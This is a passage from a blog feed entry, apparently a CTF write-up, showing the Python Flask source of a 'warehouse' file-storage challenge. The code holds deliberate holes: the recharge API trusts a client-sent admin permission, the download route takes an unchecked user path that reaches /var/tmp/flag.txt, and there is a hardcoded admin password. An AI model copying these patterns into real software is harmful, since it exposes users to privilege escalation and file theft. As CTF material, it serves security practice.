class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> shutil</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, render_template, request, redirect, url_for, session, send_from_directory</span><br><span class="line"><span class="keyword">from</span> flask_sqlalchemy <span class="keyword">import</span> SQLAlchemy</span><br><span class="line"><span class="keyword">from</span> werkzeug.utils <span class="keyword">import</span> secure_filename</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">&#x27;SECRET_KEY&#x27;</span>] = os.urandom(<span class="number">64</span>)</span><br><span class="line">app.config[<span class="string">&#x27;SQLALCHEMY_DATABASE_URI&#x27;</span>] = <span class="string">&#x27;sqlite:///warehouse.db&#x27;</span></span><br><span class="line">app.config[<span class="string">&#x27;SQLALCHEMY_TRACK_MODIFICATIONS&#x27;</span>] = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">db = SQLAlchemy(app)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">User</span>(db.Model):</span><br><span class="line">    <span class="built_in">id</span> = db.Column(db.Integer, primary_key=<span class="literal">True</span>)</span><br><span class="line">    username = db.Column(db.String(<span class="number">10</span>), unique=<span class="literal">True</span>, nullable=<span class="literal">False</span>)</span><br><span class="line">    password = db.Column(db.String(<span class="number">20</span>), nullable=<span class="literal">False</span>)</span><br><span class="line">    permission = db.Column(db.String(<span class="number">10</span>), nullable=<span class="literal">False</span>, default=<span class="string">&#x27;guest&#x27;</span>)</span><br><span class="line">    balance = db.Column(db.Integer, nullable=<span class="literal">False</span>, default=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, username, password, permission=<span class="string">&quot;guest&quot;</span></span>):</span><br><span class="line">        self.username = username</span><br><span class="line">        self.password = password</span><br><span class="line">        self.permission = permission</span><br><span class="line">        self.balance = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.before_first_request</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_tables</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(<span class="string">&#x27;warehouse&#x27;</span>):</span><br><span class="line">        shutil.rmtree(<span class="string">&#x27;warehouse&#x27;</span>)</span><br><span class="line">    os.makedirs(<span class="string">&#x27;warehouse/admin&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;warehouse/admin/readme.txt&#x27;</span>, <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(<span class="string">&#x27;/var/tmp/flag.txt&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> os.path.exists(<span class="string">&#x27;warehouse.db&#x27;</span>):</span><br><span class="line">        os.remove(<span class="string">&#x27;warehouse.db&#x27;</span>)</span><br><span class="line">    db.create_all()</span><br><span class="line"></span><br><span class="line">    user = User(username=<span class="string">&quot;admin&quot;</span>, password=<span class="string">&quot;NeverLoginMe!hhh&quot;</span>, permission=<span class="string">&quot;admin&quot;</span>)</span><br><span class="line">    db.session.add(user)</span><br><span class="line">    db.session.commit()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">validate_input</span>(<span class="params">text</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bool</span>(re.<span class="keyword">match</span>(<span class="string">&#x27;^[a-zA-Z0-9]&#123;4,10&#125;$&#x27;</span>, text))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line">    <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/register&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">register</span>():</span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&#x27;POST&#x27;</span>:</span><br><span class="line">        username = request.form.get(<span class="string">&#x27;username&#x27;</span>)</span><br><span class="line">        password = request.form.get(<span class="string">&#x27;password&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> validate_input(username) <span class="keyword">or</span> <span class="keyword">not</span> validate_input(password):</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">&#x27;register.html&#x27;</span>, error=<span class="string">&#x27;用户名和密码必须是4-10位的字母数字组合&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> User.query.filter_by(username=username).first():</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">&#x27;register.html&#x27;</span>, error=<span class="string">&#x27;用户名已存在&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        user = User(username=username, password=password)</span><br><span class="line">        db.session.add(user)</span><br><span class="line">        db.session.commit()</span><br><span class="line">        </span><br><span class="line">        user_dir = os.path.join(<span class="string">&#x27;warehouse&#x27;</span>, username)</span><br><span class="line">        os.makedirs(user_dir)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(user_dir, <span class="string">&#x27;使用小仓库开通vip请联系admin充值.txt&#x27;</span>), <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(<span class="string">&#x27;欢迎使用小仓库&#x27;</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(user_dir, <span class="string">&#x27;readme.txt&#x27;</span>), <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(<span class="string">&#x27;欢迎使用小仓库&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;register.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/login&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">login</span>():</span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&#x27;POST&#x27;</span>:</span><br><span class="line">        username = request.form.get(<span class="string">&#x27;username&#x27;</span>)</span><br><span class="line">        password = request.form.get(<span class="string">&#x27;password&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> validate_input(username) <span class="keyword">or</span> <span class="keyword">not</span> validate_input(password):</span><br><span class="line">            <span class="keyword">return</span> render_template(<span class="string">&#x27;login.html&#x27;</span>, error=<span class="string">&#x27;用户名和密码必须是4-10位的字母数字组合&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        user = User.query.filter_by(username=username, password=password).first()</span><br><span class="line">        <span class="keyword">if</span> user:</span><br><span class="line">            session[<span class="string">&#x27;user&#x27;</span>] = username</span><br><span class="line">            <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;warehouse&#x27;</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&#x27;login.html&#x27;</span>, error=<span class="string">&#x27;用户名或密码错误&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;login.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/warehouse&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">warehouse</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    user = User.query.filter_by(username=session[<span class="string">&#x27;user&#x27;</span>]).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;warehouse.html&#x27;</span>, </span><br><span class="line">                         username=user.username,</span><br><span class="line">                         permission=user.permission,</span><br><span class="line">                         balance=user.balance)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/upload&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upload</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;权限不足&#x27;</span>, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    user = User.query.filter_by(username=session[<span class="string">&#x27;user&#x27;</span>]).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user.permission <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;vip&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>]:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>, error=<span class="string">&quot;错误，你不是vip&quot;</span>))</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;file&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> request.files:</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;warehouse&#x27;</span>))</span><br><span class="line">    path = request.args.get(<span class="string">&#x27;path&#x27;</span>, session[<span class="string">&#x27;user&#x27;</span>])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> path != user.username:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;权限不足，只有管理员能对其他用户的仓库进行上传或下载&#x27;</span>, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    file = request.files[<span class="string">&#x27;file&#x27;</span>]</span><br><span class="line">    <span class="keyword">if</span> file.filename == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;warehouse&#x27;</span>))</span><br><span class="line">    </span><br><span class="line">    filename = secure_filename(file.filename)</span><br><span class="line">    file.save(os.path.join(<span class="string">&#x27;warehouse&#x27;</span>, path, filename))</span><br><span class="line">    <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;warehouse&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/download/&lt;filename&gt;&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download</span>(<span class="params">filename</span>):</span><br><span class="line">    user = User.query.filter_by(username=session[<span class="string">&#x27;user&#x27;</span>]).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user.permission <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;vip&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>]:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;权限错误或不足&#x27;</span>, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    target_user = request.args.get(<span class="string">&#x27;user&#x27;</span>, session[<span class="string">&#x27;user&#x27;</span>])</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> send_from_directory(os.path.join(<span class="string">&#x27;warehouse&#x27;</span>, target_user), filename)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/logout&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">logout</span>():</span><br><span class="line">    session.clear()</span><br><span class="line">    <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/api/files&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_files</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;权限不足&#x27;</span>&#125;, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    user = User.query.filter_by(username=session[<span class="string">&#x27;user&#x27;</span>]).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user.permission <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;guest&#x27;</span>, <span class="string">&#x27;vip&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>]:</span><br><span class="line">        session.clear()</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;权限错误&#x27;</span>&#125;, <span class="number">403</span></span><br><span class="line">    </span><br><span class="line">    data = request.get_json()</span><br><span class="line">    target_user = data.get(<span class="string">&#x27;path&#x27;</span>, session[<span class="string">&#x27;user&#x27;</span>])</span><br><span class="line">    </span><br><span class="line">    base_dir = os.path.join(<span class="string">&#x27;warehouse&#x27;</span>, target_user)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(base_dir) <span class="keyword">or</span> <span class="keyword">not</span> os.path.isdir(base_dir):</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;目录不存在&#x27;</span>&#125;, <span class="number">404</span></span><br><span class="line">    </span><br><span class="line">    files = os.listdir(base_dir)</span><br><span class="line">    <span class="keyword">return</span> &#123;<span class="string">&#x27;files&#x27;</span>: files&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/api/recharge&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recharge</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;未登录&#x27;</span>&#125;, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    data = request.get_json()</span><br><span class="line">    amount = data.get(<span class="string">&#x27;amount&#x27;</span>)</span><br><span class="line">    target_user = data.get(<span class="string">&#x27;username&#x27;</span>)</span><br><span class="line">    user_permission = data.get(<span class="string">&#x27;permission&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> amount <span class="keyword">or</span> <span class="keyword">not</span> amount.isdigit() <span class="keyword">or</span> <span class="built_in">int</span>(amount) &lt;= <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;充值金额无效&#x27;</span>&#125;, <span class="number">400</span></span><br><span class="line"></span><br><span class="line">    amount = <span class="built_in">int</span>(amount)</span><br><span class="line">    user = User.query.filter_by(username=target_user).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;用户不存在&#x27;</span>&#125;, <span class="number">404</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user_permission <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;guest&#x27;</span>, <span class="string">&#x27;vip&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>]:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;拒绝访问&#x27;</span>&#125;, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user_permission == <span class="string">&#x27;admin&#x27;</span>:</span><br><span class="line">        user.balance += amount</span><br><span class="line">        db.session.commit()</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;message&#x27;</span>: <span class="string">f&#x27;充值成功，当前余额: <span class="subst">&#123;user.balance&#125;</span>&#x27;</span>&#125;</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;message&#x27;</span>: <span class="string">&#x27;充值请求已提交，等待管理员审核&#x27;</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/api/upgrade&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upgrade_to_vip</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> session:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;未登录&#x27;</span>&#125;, <span class="number">403</span></span><br><span class="line"></span><br><span class="line">    user = User.query.filter_by(username=session[<span class="string">&#x27;user&#x27;</span>]).first()</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;用户不存在&#x27;</span>&#125;, <span class="number">404</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> user.balance &lt; <span class="number">99999</span>:</span><br><span class="line">        <span class="keyword">return</span> &#123;<span class="string">&#x27;error&#x27;</span>: <span class="string">&#x27;余额不足，无法开通VIP&#x27;</span>&#125;, <span class="number">400</span></span><br><span class="line"></span><br><span class="line">    user.balance -= <span class="number">99999</span></span><br><span class="line">    user.permission = <span class="string">&#x27;vip&#x27;</span></span><br><span class="line">    db.session.commit()</span><br><span class="line">    session[<span class="string">&#x27;permission&#x27;</span>] = <span class="string">&#x27;vip&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> &#123;<span class="string">&#x27;message&#x27;</span>: <span class="string">&#x27;VIP开通成功！&#x27;</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(debug=<span class="literal">True</span>,host=<span class="string">&quot;0.0.0.0&quot;</span>, port=<span class="number">5000</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="红名谷" scheme="https://bili33.top/tags/%E7%BA%A2%E5%90%8D%E8%B0%B7/"/>
    
  </entry>
  
</feed>
